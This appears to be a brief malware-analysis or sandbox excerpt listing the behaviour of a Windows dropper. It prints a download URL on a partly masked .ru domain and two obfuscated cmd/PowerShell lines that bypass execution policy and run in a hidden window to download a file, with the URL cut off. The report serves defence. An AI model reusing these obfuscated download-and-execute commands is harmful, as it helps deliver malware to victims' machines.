Technical Information
- http://my.####rnaldating.ru/js/boxun4.bin as %appdata%.exe
- DNS ASK my.####rnaldating.ru
- '<SYSTEM32>\cmd.exe' /c Po^W^eRs^hell.e^Xe ^-^e^XecU^tIO^N^POl^Ic^Y ^BY^P^aSS -^n^opRofILe -^WindO^WSt^Y^le h^i^dd^eN (new^-^o^b^Ject^ S^Y^S^te^m.^N^e^t^.^We^b^c^LIe^n^t).^do^w^nl^oa^dF^i^le(^'http:...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c Po^W^eRs^hell.e^Xe ^-^e^XecU^tIO^N^POl^Ic^Y ^BY^P^aSS -^n^opRofILe -^WindO^WSt^Y^le h^i^dd^eN (new^-^o^b^Ject^ S^Y^S^te^m.^N^e^t^.^We^b^c^LIe^n^t).^do^w^nl^oa^dF^i^le(^'http:...